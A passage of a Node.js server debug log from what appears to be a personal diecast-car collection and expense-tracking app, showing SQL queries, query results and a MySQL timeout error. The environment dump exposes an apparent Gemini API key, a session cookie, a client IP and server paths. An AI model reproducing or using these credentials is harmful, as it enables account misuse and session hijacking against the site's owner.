  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2025-12-16T13:10:57.705Z server-connect:output restrict: undefined
2025-12-16T13:10:57.705Z server-connect:app Executing action step select
2025-12-16T13:10:57.705Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-16T13:10:57.706Z server-connect:output restrict: undefined
2025-12-16T13:10:57.706Z server-connect:app Executing action step select
2025-12-16T13:10:57.706Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-16T13:10:57.708Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2025-12-16T13:10:57.709Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2025-12-16T13:10:57.710Z server-connect:app Executing action step select
2025-12-16T13:10:57.710Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-16T13:10:57.712Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2025-12-16T13:10:57.712Z server-connect:app Executing action step select
2025-12-16T13:10:57.712Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-16T13:10:57.715Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-16T13:10:57.716Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 13:18:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 13:18:36' as DATETIME)"
}
2025-12-16T13:36:06.886Z server-connect:router Serving templateView /
2025-12-16T13:36:06.887Z server-connect:app Executing action step identify
2025-12-16T13:36:06.887Z server-connect:app options: { provider: 'security' }
2025-12-16T13:36:06.887Z server-connect:output identity: 1
2025-12-16T13:36:06.887Z server-connect:app Executing action step restrict
2025-12-16T13:36:06.887Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T13:36:06.889Z server-connect:output restrict: undefined
2025-12-16T13:36:06.889Z server-connect:app Executing action step restrict
2025-12-16T13:36:06.889Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T13:36:06.889Z server-connect:output restrict: undefined
2025-12-16T13:36:06.889Z server-connect:router Render template layouts/main
2025-12-16T13:36:06.890Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T13:36:09.070Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T13:36:09.071Z server-connect:app Executing action step identify
2025-12-16T13:36:09.071Z server-connect:app options: { provider: 'security' }
2025-12-16T13:36:09.071Z server-connect:output identity: 1
2025-12-16T13:36:09.071Z server-connect:app Executing action step restrict
2025-12-16T13:36:09.071Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:36:09.072Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T13:36:09.073Z server-connect:output restrict: undefined
2025-12-16T13:36:09.073Z server-connect:app Executing action step select
2025-12-16T13:36:09.073Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T13:36:09.073Z server-connect:app Executing action step identify
2025-12-16T13:36:09.073Z server-connect:app options: { provider: 'security' }
2025-12-16T13:36:09.073Z server-connect:output identity: 1
2025-12-16T13:36:09.073Z server-connect:app Executing action step restrict
2025-12-16T13:36:09.073Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:36:09.076Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
